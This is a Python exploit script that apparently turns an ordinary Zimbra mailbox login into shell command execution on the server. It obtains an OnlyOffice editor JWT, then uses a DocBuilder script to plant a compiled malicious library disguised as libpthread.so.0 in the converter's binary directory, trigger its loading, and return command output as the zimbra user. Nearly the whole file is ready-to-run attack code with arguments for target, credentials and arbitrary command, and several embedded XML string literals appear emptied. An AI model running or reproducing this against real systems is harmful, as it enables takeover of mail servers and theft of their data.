#!/usr/bin/env python3
"""Authenticated Zimbra editor-JWT to OnlyOffice DocBuilder command execution."""
from __future__ import annotations
import argparse
import hashlib
import io
import re
import shutil
import subprocess
import sys
import tempfile
import uuid
import xml.etree.ElementTree as ET
import zipfile
from pathlib import Path
from urllib.parse import quote, urljoin, urlparse
from xml.sax.saxutils import escape
import requests
import urllib3
BIN_DIR = "/opt/zimbra/onlyoffice/documentserver/server/FileConverter/bin"
TMP_DIR = "/opt/zimbra/data/tmp"
LIBRARY_NAME = "libpthread.so.0"
MAX_COMMAND_BYTES = 8192
MAX_OUTPUT_BYTES = 65536
COMMAND_TIMEOUT_SECONDS = 20
VERSION_MAP = """\
GLIBC_2.2.5 {
global: onlyoffice_command_placeholder;
local: *;
};
GLIBC_2.3.2 {
} GLIBC_2.2.5;
GLIBC_2.3.3 {
} GLIBC_2.3.2;
"""
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument("--target", required=True, help="public Zimbra origin")
parser.add_argument("--username", required=True, help="ordinary mailbox account")
parser.add_argument("--password", required=True, help="mailbox password")
parser.add_argument("-c", "--command", required=True,
help="shell command to execute as zimbra (20-second bounded run, not a persistent session)")
parser.add_argument("--insecure", action="store_true", help="disable TLS certificate verification")
return parser.parse_args()
def normalize_target(value: str) -> str:
parsed = urlparse(value)
if (
parsed.scheme.lower() != "https"
or parsed.hostname is None
or parsed.username is not None
or parsed.password is not None
or parsed.path not in ("", "/")
or parsed.params
or parsed.query
or parsed.fragment
):
raise RuntimeError("--target must be a bare HTTPS origin")
try:
parsed.port
except ValueError as error:
raise RuntimeError("--target contains an invalid port") from error
return f"https://{parsed.netloc}"
def local_name(tag: str) -> str:
return tag.rsplit("}", 1)[-1]
def minimal_docx() -> bytes:
output = io.BytesIO()
with zipfile.ZipFile(output, "w", zipfile.ZIP_DEFLATED) as archive:
archive.writestr(
"[Content_Types].xml",
''
''
''
''
''
"",
)
archive.writestr(
"_rels/.rels",
''
''
''
"",
)
archive.writestr(
"word/document.xml",
''
''
"editor token source",
)
return output.getvalue()
class ZimbraClient:
def __init__(self, target: str, insecure: bool) -> None:
self.target = normalize_target(target)
self.verify = not insecure
self.http = requests.Session()
if insecure:
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def soap(self, token: str | None, body: str) -> tuple[int, str]:
session = f"{escape(token)}" if token else ""
envelope = (
''
f'{session}'
f"{body}"
)
response = self.http.post(
f"{self.target}/service/soap",
data=envelope.encode(),
headers={"Content-Type": "application/soap+xml"},
verify=self.verify,
timeout=30,
allow_redirects=False,
)
return response.status_code, response.text
def authenticate(self, username: str, password: str) -> str:
status, text = self.soap(
None,
''
f'{escape(username)}'
f"{escape(password)}",
)
if status != 200 or " str:
response = self.http.put(
f"{self.target}/service/home/{quote(username, safe='@')}/Briefcase/{quote(name, safe='')}",
data=minimal_docx(),
headers={
"Content-Type": "application/vnd.openxmlformats-officedocument.wordprocessingml.document",
"Cookie": f"ZM_AUTH_TOKEN={token}",
},
verify=self.verify,
timeout=30,
allow_redirects=False,
)
response.raise_for_status()
item_id = response.headers.get("X-Zimbra-ItemId")
if not item_id:
raise RuntimeError("document upload returned no item ID")
return item_id
def editor_capability(self, token: str, item_id: str) -> tuple[str, str]:
response = self.http.get(
f"{self.target}/service/extension/doc/{quote(item_id, safe='')}",
headers={"Cookie": f"ZM_AUTH_TOKEN={token}"},
verify=self.verify,
timeout=30,
allow_redirects=False,
)
response.raise_for_status()
jwt = re.search(r'"token"\s*:\s*"([A-Za-z0-9_.-]+)"', response.text)
route = re.search(r'/zdocument/([^/"\']+)/web-apps/', response.text)
if not jwt or not route:
raise RuntimeError("editor response lacked its JWT or public DocService route")
return jwt.group(1), f"{self.target}/zdocument/{route.group(1)}"
def delete_document(self, token: str, item_id: str) -> None:
status, text = self.soap(
token,
''
f''
"",
)
if status != 200 or "DocumentActionResponse" not in text:
raise RuntimeError(f"temporary document deletion failed (HTTP {status})")
def end_session(self, token: str) -> None:
status, text = self.soap(
token,
'',
)
if status != 200 or "EndSessionResponse" not in text:
raise RuntimeError(f"mailbox session cleanup failed (HTTP {status})")
def close(self) -> None:
self.http.close()
def dso_source(command: bytes, output_path: str, status_path: str) -> str:
command_array = ",".join(str(value) for value in command + b"\0")
self_path = f"{BIN_DIR}/{LIBRARY_NAME}"
return f'''#include
#include
#include
#include
#include
#include
#include
#include
#include
static const unsigned char command_bytes[] = {{{command_array}}};
static const char self_path[] = "{self_path}";
static const char output_path[] = "{output_path}";
static const char status_path[] = "{status_path}";
static const struct timespec poll_delay = {{0, 100000000}};
static void record_value(const char *name, int number)
{{
char value[64];
int length = snprintf(value, sizeof(value), "%s=%d", name, number);
int fd = open(status_path, O_WRONLY | O_CREAT | O_EXCL | O_CLOEXEC, 0600);
if (fd >= 0) {{
int offset = 0;
while (offset < length) {{
ssize_t written = write(fd, value + offset, (size_t)(length - offset));
if (written > 0) {{
offset += (int)written;
continue;
}}
if (written < 0 && errno == EINTR)
continue;
break;
}}
close(fd);
}}
}}
static void record_wait_status(int status)
{{
if (WIFEXITED(status))
record_value("exit", WEXITSTATUS(status));
else if (WIFSIGNALED(status))
record_value("signal", WTERMSIG(status));
else
record_value("wait-status", status);
}}
__attribute__((constructor))
static void run_command(void)
{{
if (unlink(self_path) != 0) {{
record_value("cleanup-error", errno);
return;
}}
int output = open(output_path, O_WRONLY | O_CREAT | O_EXCL | O_CLOEXEC, 0600);
if (output < 0) {{
record_value("output-error", errno);
return;
}}
pid_t child = fork();
if (child == 0) {{
struct rlimit output_limit = {{{MAX_OUTPUT_BYTES}, {MAX_OUTPUT_BYTES}}};
char *const argv[] = {{ "/bin/sh", "-c", (char *)command_bytes, NULL }};
char *const envp[] = {{
"PATH=/opt/zimbra/bin:/opt/zimbra/common/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"HOME=/opt/zimbra", "LC_ALL=C", NULL
}};
if (setpgid(0, 0) < 0 || setrlimit(RLIMIT_FSIZE, &output_limit) < 0 ||
dup2(output, STDOUT_FILENO) < 0 || dup2(output, STDERR_FILENO) < 0)
_exit(126);
close(output);
execve(argv[0], argv, envp);
_exit(127);
}}
int fork_error = child < 0 ? errno : 0;
close(output);
if (child < 0) {{
record_value("spawn-error", fork_error);
return;
}}
(void)setpgid(child, child);
int status = 0;
for (int attempt = 0; attempt < {COMMAND_TIMEOUT_SECONDS * 10}; ++attempt) {{
pid_t waited = waitpid(child, &status, WNOHANG);
if (waited == child) {{
(void)kill(-child, SIGKILL);
record_wait_status(status);
return;
}}
if (waited < 0 && errno != EINTR) {{
(void)kill(-child, SIGKILL);
(void)kill(child, SIGKILL);
record_value("wait-error", errno);
return;
}}
nanosleep(&poll_delay, NULL);
}}
(void)kill(-child, SIGTERM);
(void)kill(child, SIGTERM);
int reaped = 0;
for (int attempt = 0; attempt < 20; ++attempt) {{
if (!reaped) {{
pid_t waited = waitpid(child, &status, WNOHANG);
if (waited == child)
reaped = 1;
else if (waited < 0 && errno != EINTR) {{
(void)kill(-child, SIGKILL);
(void)kill(child, SIGKILL);
record_value("wait-error", errno);
return;
}}
}}
nanosleep(&poll_delay, NULL);
}}
(void)kill(-child, SIGKILL);
(void)kill(child, SIGKILL);
if (!reaped) {{
while (waitpid(child, &status, 0) < 0 && errno == EINTR) {{}}
}}
record_value("timeout", {COMMAND_TIMEOUT_SECONDS});
}}
void onlyoffice_command_placeholder(void)
{{
}}
'''
def compile_dso(command: str, output_path: str, status_path: str) -> tuple[bytes, str]:
compiler = shutil.which("gcc")
readelf = shutil.which("readelf")
if not compiler or not readelf:
raise RuntimeError("gcc and readelf are required to build the x86-64 loader payload")
with tempfile.TemporaryDirectory(prefix="onlyoffice_editor_jwt_rce.") as temporary:
root = Path(temporary)
source = root / "payload.c"
version_map = root / "payload.map"
library = root / LIBRARY_NAME
source.write_text(dso_source(command.encode(), output_path, status_path), encoding="utf-8")
version_map.write_text(VERSION_MAP, encoding="utf-8")
result = subprocess.run(
[
compiler,
"-shared",
"-fPIC",
"-O2",
"-fno-stack-protector",
"-Wall",
"-Wextra",
"-Werror",
"-Wl,-z,relro,-z,now",
"-Wl,-soname,libpthread.so.0",
f"-Wl,--version-script={version_map}",
"-o",
str(library),
str(source),
],
capture_output=True,
text=True,
timeout=30,
check=False,
)
if result.returncode != 0:
raise RuntimeError(f"payload compilation failed: {result.stderr[:1200]}")
payload = library.read_bytes()
header = subprocess.run(
[readelf, "-h", str(library)], capture_output=True, text=True, timeout=10, check=True
).stdout
dynamic = subprocess.run(
[readelf, "-d", str(library)], capture_output=True, text=True, timeout=10, check=True
).stdout
versions = subprocess.run(
[readelf, "--version-info", str(library)],
capture_output=True,
text=True,
timeout=10,
check=True,
).stdout
if "Advanced Micro Devices X86-64" not in header:
raise RuntimeError("local compiler did not produce an x86-64 DSO")
if "Library soname: [libpthread.so.0]" not in dynamic:
raise RuntimeError("payload DSO has the wrong SONAME")
for version in ("GLIBC_2.2.5", "GLIBC_2.3.2", "GLIBC_2.3.3"):
if version not in versions:
raise RuntimeError(f"payload DSO lacks required version node {version}")
if not payload.startswith(b"\x7fELF") or not (4096 <= len(payload) <= 1024 * 1024):
raise RuntimeError("payload DSO failed its ELF size/magic check")
return payload, hashlib.sha256(payload).hexdigest()
def build_script(
nonce: str, payload: bytes, result_format: str = "docx"
) -> str:
if result_format not in {"docx", "txt"}:
raise RuntimeError("unsupported DocBuilder result format")
save_params = "46" if result_format == "txt" else ""
result_name = f"command_result_{nonce}.{result_format}"
output_name = f".oo_editor_rce_{nonce}.out"
status_name = f".oo_editor_rce_{nonce}.status"
output_path = f"{TMP_DIR}/{output_name}"
status_path = f"{TMP_DIR}/{status_name}"
result_prefix = f"OO_EDITOR_RCE_{nonce}"
return f'''builder.CreateFile("docx");
function fromHex(value) {{
var result = new Uint8Array(value.length / 2);
for (var i = 0; i < result.length; i++) result[i] = parseInt(value.substr(i * 2, 2), 16);
return result;
}}
function sameBytes(left, right) {{
if (left === null || left.length !== right.length) return false;
for (var i = 0; i < right.length; i++) if (left[i] !== right[i]) return false;
return true;
}}
function bytesToHex(value) {{
var result = "";
for (var i = 0; i < value.length; i++) result += ("0" + value[i].toString(16)).slice(-2);
return result;
}}
function bytesToText(value) {{
var result = "";
for (var i = 0; i < value.length; i++) result += String.fromCharCode(value[i]);
return result;
}}
var zBin = CreateNativeZip();
var zTmp = CreateNativeZip();
var dsoOwned = false;
var resultPathsReserved = false;
var cleanupFailed = false;
var outputHex = "";
var commandStatus = "";
try {{
zBin.open("{BIN_DIR}");
zTmp.open("{TMP_DIR}");
if (zBin.getFile("{LIBRARY_NAME}") !== null) throw new Error("origin libpthread already exists");
if (zTmp.getFile("{output_name}") !== null || zTmp.getFile("{status_name}") !== null)
throw new Error("nonce output path already exists");
resultPathsReserved = true;
var dsoPayload = fromHex("{payload.hex()}");
if (!zBin.addFile("{LIBRARY_NAME}", dsoPayload)) throw new Error("DSO write was rejected");
dsoOwned = true;
if (!sameBytes(zBin.getFile("{LIBRARY_NAME}"), dsoPayload)) throw new Error("DSO write verification failed");
var triggerResult = builderJS.SaveFile("docx", "command_trigger.docx", "");
if (triggerResult !== 0) throw new Error("trigger conversion returned " + String(triggerResult));
var outputBytes = zTmp.getFile("{output_name}");
var statusBytes = zTmp.getFile("{status_name}");
if (outputBytes === null || statusBytes === null) throw new Error("command result is absent");
if (outputBytes.length > {MAX_OUTPUT_BYTES}) throw new Error("command output exceeded {MAX_OUTPUT_BYTES} bytes");
commandStatus = bytesToText(statusBytes);
if (!/^(exit|signal|timeout|wait-error|wait-status|spawn-error|cleanup-error|output-error)=[0-9]+$/.test(commandStatus))
throw new Error("command status is malformed");
outputHex = bytesToHex(outputBytes);
}} finally {{
if (dsoOwned) {{
zBin.removeFile("{LIBRARY_NAME}");
if (zBin.getFile("{LIBRARY_NAME}") !== null) cleanupFailed = true;
}}
if (resultPathsReserved) {{
zTmp.removeFile("{output_name}");
zTmp.removeFile("{status_name}");
if (zTmp.getFile("{output_name}") !== null || zTmp.getFile("{status_name}") !== null)
cleanupFailed = true;
}}
zBin.close();
zTmp.close();
}}
if (cleanupFailed) throw new Error("exploit artifact cleanup failed");
var paragraph = Api.CreateParagraph();
paragraph.AddText("{result_prefix}:STATUS:" + commandStatus + ":HEX:" + outputHex + ":END");
Api.GetDocument().Push(paragraph);
var finalResult = builderJS.SaveFile("{result_format}", "{result_name}", "{save_params}");
if (finalResult !== 0) throw new Error("result conversion returned " + String(finalResult));
builder.CloseFile();
'''
def submit_builder(jwt: str, proxy_base: str, script: str, verify: bool) -> dict:
response = requests.post(
f"{proxy_base}/docbuilder",
params={"token": jwt},
data=script.encode(),
headers={"Content-Type": "application/octet-stream"},
verify=verify,
timeout=120,
allow_redirects=False,
)
if 300 <= response.status_code < 400:
raise RuntimeError("public DocBuilder route returned a redirect; following is refused")
response.raise_for_status()
result = response.json()
if not isinstance(result, dict) or result.get("end") is not True or result.get("error") not in (None, 0, "0"):
raise RuntimeError(f"DocBuilder did not complete successfully: {result}")
return result
def parse_result_document(document: bytes, nonce: str) -> tuple[str, bytes]:
try:
with zipfile.ZipFile(io.BytesIO(document)) as archive:
xml = archive.read("word/document.xml")
except (KeyError, zipfile.BadZipFile) as error:
raise RuntimeError("DocBuilder result was not a readable DOCX") from error
text = "".join(ET.fromstring(xml).itertext())
result_prefix = f"OO_EDITOR_RCE_{nonce}:STATUS:"
match = re.search(re.escape(result_prefix) + r"([^:]+):HEX:([0-9a-f]*):END", text)
if not match:
raise RuntimeError("result document contained no command response")
if re.fullmatch(
r"(?:exit|signal|timeout|wait-error|wait-status|spawn-error|cleanup-error|output-error)=[0-9]+",
match.group(1),
) is None:
raise RuntimeError("result document contained malformed command status")
try:
output = bytes.fromhex(match.group(2))
except ValueError as error:
raise RuntimeError("result document contained malformed output") from error
return match.group(1), output
def public_result_url(proxy_base: str, value: str) -> str:
candidate = urljoin(f"{proxy_base}/", value)
def origin(url: str) -> tuple[str, str, int]:
parsed = urlparse(url)
if parsed.scheme not in ("http", "https") or parsed.hostname is None:
raise RuntimeError("DocBuilder returned a non-HTTP result URL")
if parsed.username is not None or parsed.password is not None:
raise RuntimeError("DocBuilder returned a result URL containing user information")
try:
port = parsed.port or (443 if parsed.scheme == "https" else 80)
except ValueError as error:
raise RuntimeError("DocBuilder returned a malformed result URL port") from error
return parsed.scheme, parsed.hostname.lower(), port
if origin(candidate) != origin(proxy_base):
raise RuntimeError("DocBuilder returned an off-origin result URL; backend reachability is refused")
return candidate
def recover_result(result: dict, proxy_base: str, verify: bool, nonce: str) -> tuple[str, bytes]:
urls = result.get("urls") or {}
if isinstance(urls, dict):
candidates = [
value
for name, value in urls.items()
if isinstance(value, str)
and (f"command_result_{nonce}.docx" in str(name) or f"command_result_{nonce}.docx" in value)
]
elif isinstance(urls, list):
candidates = [
value
for value in urls
if isinstance(value, str) and f"command_result_{nonce}.docx" in value
]
else:
raise RuntimeError(f"DocBuilder returned malformed output URLs: {urls}")
if len(candidates) != 1:
raise RuntimeError(f"DocBuilder returned no unique result document: {urls}")
result_url = public_result_url(proxy_base, candidates[0])
response = requests.get(
result_url, verify=verify, timeout=30, allow_redirects=False
)
if 300 <= response.status_code < 400:
raise RuntimeError("public result retrieval returned a redirect; automatic off-origin following is refused")
response.raise_for_status()
return parse_result_document(response.content, nonce)
def main() -> int:
args = parse_args()
target = normalize_target(args.target)
password = args.password
command = args.command.encode()
if not command or len(command) > MAX_COMMAND_BYTES or b"\0" in command:
raise RuntimeError(f"--command must be 1..{MAX_COMMAND_BYTES} UTF-8 bytes without NUL")
nonce = uuid.uuid4().hex
output_path = f"{TMP_DIR}/.oo_editor_rce_{nonce}.out"
status_path = f"{TMP_DIR}/.oo_editor_rce_{nonce}.status"
payload, payload_hash = compile_dso(args.command, output_path, status_path)
script = build_script(nonce, payload)
client = ZimbraClient(target, args.insecure)
auth_token: str | None = None
item_id: str | None = None
cleanup_errors: list[str] = []
primary_error: BaseException | None = None
command_status: str | None = None
command_output = b""
try:
auth_token = client.authenticate(args.username, password)
password = ""
item_id = client.create_document(auth_token, args.username, f"editor_rce_{nonce}.docx")
editor_jwt, proxy_base = client.editor_capability(auth_token, item_id)
print("[+] received an ordinary mailbox editor JWT")
print(f"[+] built x86-64 loader DSO ({len(payload)} bytes, SHA-256 {payload_hash})")
print(f"[*] submitting through {proxy_base}/docbuilder")
result = submit_builder(editor_jwt, proxy_base, script, client.verify)
command_status, command_output = recover_result(
result, proxy_base, client.verify, nonce
)
except BaseException as error:
primary_error = error
finally:
password = ""
if auth_token is not None and item_id is not None:
try:
client.delete_document(auth_token, item_id)
except Exception as error:
cleanup_errors.append(f"document cleanup: {error}")
if auth_token is not None:
try:
client.end_session(auth_token)
except Exception as error:
cleanup_errors.append(f"session cleanup: {error}")
client.close()
if primary_error is not None:
for error in cleanup_errors:
print(f"[!] {error}", file=sys.stderr)
raise primary_error
if cleanup_errors:
raise RuntimeError("; ".join(cleanup_errors))
if command_status is None:
raise RuntimeError("command result was not recorded")
if command_status.startswith("exit="):
print(f"[+] command returned as zimbra ({command_status})")
elif command_status.startswith("signal="):
print(f"[!] command was terminated as zimbra ({command_status})")
elif command_status.startswith("timeout="):
print(f"[!] command exceeded the execution limit ({command_status})")
else:
print(f"[!] command did not report normal completion ({command_status})")
if command_output:
sys.stdout.flush()
sys.stdout.buffer.write(command_output)
if not command_output.endswith(b"\n"):
sys.stdout.buffer.write(b"\n")
sys.stdout.buffer.flush()
return 0 if command_status == "exit=0" else 1
if __name__ == "__main__":
try:
raise SystemExit(main())
except KeyboardInterrupt:
print("\n[-] interrupted", file=sys.stderr)
raise SystemExit(130)
except (OSError, RuntimeError, requests.RequestException, subprocess.SubprocessError, ET.ParseError, zipfile.BadZipFile) as error:
print(f"[-] {error}", file=sys.stderr)
raise SystemExit(1)